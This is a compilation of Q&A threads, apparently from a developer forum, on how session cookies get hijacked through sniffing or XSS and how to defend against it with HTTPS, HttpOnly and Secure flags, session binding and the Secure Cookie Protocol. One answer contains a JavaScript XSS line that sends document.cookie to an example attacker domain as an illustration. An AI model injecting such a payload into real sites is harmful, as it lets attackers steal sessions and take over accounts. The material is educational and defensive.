I've recently been reading on session cookies and how they can be hijacked via man-in-middle attacks. It seems this is mainly possible on an unencrypted connection between a client and a webserver.
However, I cannot figure out why, if one is already 'in the middle' of an unencrypted connection, would one prefer to capture the cookie instead of the username & password - a more valuable resource - which should also be sent in plaintext?
Stealing cookie is the easiest way to account hijacking.
unencrypted traffic does not mean that data is plain-text form. Especially mobile applications are using encryption methods on data before send it. For this reason, you will not be able to get username/password even if you doing MITM attacks.
You don't know clients are authenticated or not. Therefor when you start MITM attacks, you can't be sure all of your target are going to enter their username/password.
What about 2 factor authentication mechanism ? If you try to steal username/password rather than cookie value. How you planning to log-in 2 factor authentication enabled accounts ?
Related
I was playing around with express-session and reading their documentation and it seems like on the client side, the cookie with the name connect.sid stores the session ID. My understanding of security is limited but isn't this a vulnerability if the session ID is so easily accessible?
Cookies are private to the target client. This is no different for socket.io or for a google login. If the server wants to protect them, then you run the connection over https and it's end-to-end encrypted and the only one who has access to those cookies is the client itself. This is how browsers do login and identification of a previously authenticated client.
Also a socket.io sessionID does not need to be a secret. It doesn't authorize anything. It just identifies a client as the same client as previous. If the application wants that client to be authenticated and secure, then that needs to happen some different way. There is no authentication whatsoever associated with a socket.io cookie.
If you're using an express-session and you want it to be secure, then you need to use end-to-end https. That protects the session cookie in transit. Yes, if your client is compromised and someone steals the session cookie and uses it before it expires, they can possibly hijack the session. But, that's why you use https so there is no way to grab the session cookie from somewhere in the middle of the transport. So, what needs to be secure is the client itself. And, that's the same requirement as every single web site that uses authentication. This is the architecture of the web, nothing new for socket.io or express-session.
So what would happen if somehow your computer is hacked and the hacker obtains access to the client's browser, and hence the cookies & session ID as well? Then they wouldn't be hijacking the session while it's in transporting
First off, you can expire your cookies quickly (like within 5 minutes of inactivity). You will see banking websites do this.
Then, you have much bigger problems if the computer itself has been compromised. The attacker can implant keyloggers or other spyware and can steal your actual login credentials, not only for your website, but also for email and other things like that.
There are higher levels of security than just a username and password for login. For example, you can require a physical piece of hardware that either plugs into your USB port or requires you to enter a code (that is constantly changing) from the device. I've worked for companies that required such a device in order to login to the company network from outside the corporate LAN. This is one form of what is referred to as "two-factor" authentication.
If you look at websites like banks, they will typically do some sort of detection of the login computer and if it looks like an unfamiliar computer (missing other cookies, different IP address, different user agent, different screen resolution, etc...) then they require additional login steps such as sending a code to your phone that you have to enter before you can get logged in. Or, they require you to answer additional personal questions before letting you in. They may also notify the account holder that a new computer was used for login. If that wasn't you, go change/resecure your account credentials.
Would you suggest setting up a re-route of my entire website from HTTP to HTTPS to solve this?
Yes. Any site interested in security should require access over https.
There is a lot written about this topic on the web. You can start by reading articles here: https://www.google.com/search?q=best+practices+for+securing+login
I was wondering if there is a more secure way of authenticating than forms authentication? I don't like the fact that when you login to a site using forms authentication, you can copy the cookie to another computer, and log in. I realise that if the site is browsed to over ssl there can be no man in the middle attack, however I still don't like the fact my site is vulnerable in this way.
Is there a good alternative available, other than windows authentication?
Thanks
You can look into token-based stuff, but what you will find is that there is always something that is stored on the client and passed for authentication instead of the actual user credentials (username and password). Whether it's a session id or a token does not really matter if you assume the attacker has the ability to access stuff on the client.
When token-based auth is used, the tokens are most of the times not kept in a cookie, but for example in browser memory (Javascript objects), or even worse, in places like localStorage. That is actually less secure than a good old session id in an httpOnly cookie, which is secure against cross-site scripting, as opposed to pretty much anything else in a browser.
So do realize that with almost any solution you choose, basically what happens is you exchange your user credentials for some kind of a token which you then use for authentication, and for the session the token is equivalent to your credentials, and there is not much difference between traditional sessions and tokens. Even Windows auth does about the same, but a layer below, on the OS level, which makes it less susceptible to attacks like XSS, but makes it vulnerable to attacks based on automatically sent session ids (like CSRF).
If you want to mitigate the threat of an attacker stealing session ids, you can for example design your application in a way that sessions are bound to client identifiers like the client ip address. That way even if a session id is stolen, the attacker still cannot use it. As another mitigation to that threat, you can prevent concurrent sessions, practically meaning logic around terminating all other sessions of a user that logs in. Note that these things are not specific to traditional sessions, the same applies to token-based auth, only the implementation is different.
Whenever someone talks about the dangers of xss, they mention that the 'bad guys' can get access to user credentials. But if I only store a session id on the cookie, and authenticate the user based on the session id, are there any other ways xss can be used to access user credentials?
Yes.
XSS means a foreign or malicious script is running on the page. There are a bunch of ways this could be dangerous.
Session Hijacking
Even if the cookie doesn't store user credentials (and it shouldn't). It stores enough information for the server to consider the bearer of the cookie to be a particular user (HTTP is stateless so we use cookies/sessions to remember users).
So if someone steals the session ID they can use it to impersonate you and the server might be none the wiser.
Safeguarding with IP
In your original question you asked about another level of security: verifying the IP address tied to the session. Yes, that cuts down the attack avenue. Yes, IP addresses can be faked. But you're no longer the lowest hanging fruit for attackers. At the same time security and convenience are opposites so your legitimate users might be frustrated that when their IP address changes they are no longer signed in.
Other attacks
Stealing the cookie/session is one easy way to gain access but not the only one.
Since a script is running (supposedly) from the trusted site and from the user's browser. It could to a lot of things:
loads an invisible iframe for the account edit page and resets the password/email for the user
load a keylogger, show the user the login page
Unless the Session ID cookie is marked as HTTP Only, the session can still be hijacked using XSS.
e.g.
new Image().src = 'http://www.example.com/?cookie=' + escape(document.cookie);
will send the Session ID to the attackers domain (www.example.com) where they will be able to set their own cookie to the same Session ID and steal the session.
Even without the cookie risk, as the attacker can inject whatever they like into the page, they could alter any page content or install key loggers in the browser session.
I recently went to a talk that described ways to trick a password manager into filling out a password form, provided that the attacker could use XSS to modify pages on the victim site. That's one way an attacker might be able to access user credentials.
Is there a way to check if cookie from user A was stolen by user B on the server side?
for example the cookie token/data created using a simple hash function (sha1 for example)
hash_of(user_agent,ip+proxy_ip,username,random_session_key)
where user_agent is browser's user agent,
ip is the client IP address,
proxy_ip is the proxy's IP address the client use,
username is the username the user currently login,
random_session_key is a random number saved to database when a user logged in
if that cookie was stolen and used by another person on the LAN, and the LAN is not using any proxy but a NAT, and the thief was using exactly the same browser (or spoof the user agent), how we on the server side detect that?
Yes, there is a way. It is called Secure Cookie Protocol.
You are using SSL right? (because if you're not, this entire conversation is pointless).
Well, you encrypt the cookie, but using the SSL session identifier. Assuming that SSL gives you adequate endpoint security (strong ciphers, etc), SCP should protect your data and allow you to tell when another SSL session tries to use the same cookie (because the sessionid changes, and therefore the MAC will change).
key = HMAC(user name|expiration time, secret_key)
cookie = user name|expiration time|encrypt(data, key)
cookie = cookie | HMAC( user name|expiration time|data|sessionid, key)
So basically, you're creating a unique verification code based on the SSL session identifier.
Note that REMOTE_ADDR or user agent never factors in. The only factors this uses are things that are extremely non-trivial to spoof unless you've physically compromised the client box...
If the cookie has been hijacked, it is too late. An application must properly defend its secrets. The useragenet is attacker controlled, checking this value is insecure by nature.
OWASP - Insufficient Transport Layer Security.
HTTPOnly Cookies
"Secure" Cookies
Prevent XSS, CSRF, and Clickjacking, and session fixation.
We are working on a GWT web-application which requires secure user authentication. We have the possibility of providing The credentials to the user via fax. So we can use pre-shared secret. There is no possibility for us to use ssl or https in this app.
I was wondering what will be the more secure way to store the pass on the server and authenticate the user; should we hash the password two times, I suspect?
If no encryption can be in place, you should hash the password on the client side (salted with a random salt provided by the server) and compare the resulting hash.
This approach has two advantages:
the hashed value is different each login
the password is never sent in plain text.
However, without encryption and proper authentication, session hijacking and such attacks are trivial.
Please note that there is no way to make this secure enough to foil any attack attempt of a reasonably competent malicious party without some sort of encryption/authentiaction layer on top of http, so it is probably for the best not to give the users any sense of false security, mmkay?
The biggest problem in the "let's only make the log-in as secure as possible" is that session side-jacking attack is rather trivial without encryption. Sidejacking (as defined in Wikipedia) is:
Session sidejacking, where the attacker uses packet sniffing to read network traffic between two parties to steal the session cookie. Many web sites use SSL encryption for login pages to prevent attackers from seeing the password, but do not use encryption for the rest of the site once authenticated. This allows attackers that can read the network traffic to intercept all the data that is submitted to the server or web pages viewed by the client. Since this data includes the session cookie, it allows him to impersonate the victim, even if the password itself is not compromised.[3] Unsecured Wi-Fi hotspots are particularly vulnerable, as anyone sharing the network will generally be able to read most of the web traffic between other nodes and the access point.